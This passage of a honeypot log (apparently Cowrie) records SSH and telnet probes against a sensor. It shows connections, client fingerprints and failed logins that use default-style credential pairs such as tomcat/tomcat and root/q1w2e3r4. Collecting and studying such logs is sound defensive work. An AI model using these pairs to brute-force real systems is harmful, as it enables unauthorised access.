{"eventid":"cowrie.session.connect","src_ip":"66.132.172.213","src_port":61996,"dst_ip":"159.203.135.109","dst_port":23,"session":"54133ab27be0","protocol":"telnet","message":"New connection: 66.132.172.213:61996 (159.203.135.109:23) [session: 54133ab27be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:08.360311Z"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar","message":"login attempt [sonar/sonar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:08.736031Z","src_ip":"172.237.20.62","session":"c7e3f7aabc08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:09.903095Z","src_ip":"172.237.20.62","session":"c7e3f7aabc08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.180","src_port":59528,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff4ca3fa6849","protocol":"telnet","message":"New connection: 66.132.172.180:59528 (159.203.135.109:23) [session: ff4ca3fa6849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:12.174545Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46472,"dst_ip":"159.203.135.109","dst_port":22,"session":"e71efe99c414","protocol":"ssh","message":"New connection: 172.237.20.62:46472 (159.203.135.109:22) [session: e71efe99c414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:18.821281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:18.826884Z","src_ip":"172.237.20.62","session":"e71efe99c414","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:18.987041Z","src_ip":"172.237.20.62","session":"e71efe99c414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.707687139511108,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:19.067821Z","src_ip":"66.132.172.213","session":"54133ab27be0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:19.494128Z","src_ip":"172.237.20.62","session":"e71efe99c414","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:20.662694Z","src_ip":"172.237.20.62","session":"e71efe99c414","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":48012,"dst_ip":"10.17.0.5","dst_port":23,"session":"026b6e40aa61","protocol":"telnet","message":"New connection: 45.58.127.90:48012 (10.17.0.5:23) [session: 026b6e40aa61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:21.556385Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58140,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc6eec89eda0","protocol":"ssh","message":"New connection: 176.65.132.129:58140 (159.203.135.109:22) [session: fc6eec89eda0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:26.302730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:26.309091Z","src_ip":"176.65.132.129","session":"fc6eec89eda0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:26.392462Z","src_ip":"176.65.132.129","session":"fc6eec89eda0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54378,"dst_ip":"10.17.0.5","dst_port":23,"session":"69d7969422d5","protocol":"telnet","message":"New connection: 45.58.127.90:54378 (10.17.0.5:23) [session: 69d7969422d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:28.091413Z"}
{"eventid":"cowrie.session.closed","duration":17.279957056045532,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:29.454410Z","src_ip":"66.132.172.180","session":"ff4ca3fa6849","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":39966,"dst_ip":"159.203.135.109","dst_port":22,"session":"c65ff2c7f893","protocol":"ssh","message":"New connection: 172.237.20.62:39966 (159.203.135.109:22) [session: c65ff2c7f893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:29.656252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:29.661338Z","src_ip":"172.237.20.62","session":"c65ff2c7f893","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:29.826233Z","src_ip":"172.237.20.62","session":"c65ff2c7f893","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student","message":"login attempt [student/student] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:30.317285Z","src_ip":"172.237.20.62","session":"c65ff2c7f893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54394,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbe5e750ba53","protocol":"telnet","message":"New connection: 45.58.127.90:54394 (10.17.0.5:23) [session: dbe5e750ba53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:31.445548Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:31.484559Z","src_ip":"172.237.20.62","session":"c65ff2c7f893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.55","src_port":35316,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3969bf76999","protocol":"telnet","message":"New connection: 66.132.195.55:35316 (159.203.135.109:23) [session: b3969bf76999]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:33.195787Z"}
{"eventid":"cowrie.session.closed","duration":2.6276137828826904,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:34.072960Z","src_ip":"45.58.127.90","session":"dbe5e750ba53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:34.305645Z","src_ip":"176.65.132.129","session":"fc6eec89eda0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.180","src_port":9122,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0a2de1834d3","protocol":"telnet","message":"New connection: 66.132.172.180:9122 (159.203.135.109:23) [session: e0a2de1834d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:34.516430Z"}
{"eventid":"cowrie.session.closed","duration":3.4447340965270996,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:37.961045Z","src_ip":"66.132.172.180","session":"e0a2de1834d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":35542,"dst_ip":"159.203.135.109","dst_port":22,"session":"194e25e58da0","protocol":"ssh","message":"New connection: 172.237.20.62:35542 (159.203.135.109:22) [session: 194e25e58da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:40.518413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:40.522765Z","src_ip":"172.237.20.62","session":"194e25e58da0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:40.686886Z","src_ip":"172.237.20.62","session":"194e25e58da0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:41.171154Z","src_ip":"172.237.20.62","session":"194e25e58da0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:42.335749Z","src_ip":"172.237.20.62","session":"194e25e58da0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":51658,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcc3bed90cb7","protocol":"telnet","message":"New connection: 45.58.127.90:51658 (10.17.0.5:23) [session: bcc3bed90cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:43.221368Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.180","src_port":45198,"dst_ip":"159.203.135.109","dst_port":23,"session":"868d537c9e21","protocol":"telnet","message":"New connection: 66.132.172.180:45198 (159.203.135.109:23) [session: 868d537c9e21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:44.836883Z"}
{"eventid":"cowrie.session.closed","duration":2.0224661827087402,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:45.243716Z","src_ip":"45.58.127.90","session":"bcc3bed90cb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.142483949661255,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:48.338126Z","src_ip":"66.132.195.55","session":"b3969bf76999","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.20492386817932,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:48.509531Z","src_ip":"45.58.127.90","session":"7e9f88adff54","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":38364,"dst_ip":"159.203.135.109","dst_port":22,"session":"049992c8cb36","protocol":"ssh","message":"New connection: 172.237.20.62:38364 (159.203.135.109:22) [session: 049992c8cb36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:51.372108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:51.376493Z","src_ip":"172.237.20.62","session":"049992c8cb36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:51.544600Z","src_ip":"172.237.20.62","session":"049992c8cb36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:52.031764Z","src_ip":"172.237.20.62","session":"049992c8cb36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:53.198070Z","src_ip":"172.237.20.62","session":"049992c8cb36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51288,"dst_ip":"159.203.135.109","dst_port":22,"session":"21a9e3ecf160","protocol":"ssh","message":"New connection: 176.65.132.129:51288 (159.203.135.109:22) [session: 21a9e3ecf160]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:54.587256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:54.592116Z","src_ip":"176.65.132.129","session":"21a9e3ecf160","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:54.674324Z","src_ip":"176.65.132.129","session":"21a9e3ecf160","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:54.922837Z","src_ip":"176.65.132.129","session":"21a9e3ecf160","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.664159536361694,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:55.500928Z","src_ip":"66.132.172.180","session":"868d537c9e21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:56.136414Z","src_ip":"176.65.132.129","session":"21a9e3ecf160","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54258,"dst_ip":"159.203.135.109","dst_port":22,"session":"1db81749e898","protocol":"ssh","message":"New connection: 176.65.132.129:54258 (159.203.135.109:22) [session: 1db81749e898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:58.265854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:35:58.270157Z","src_ip":"176.65.132.129","session":"1db81749e898","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-n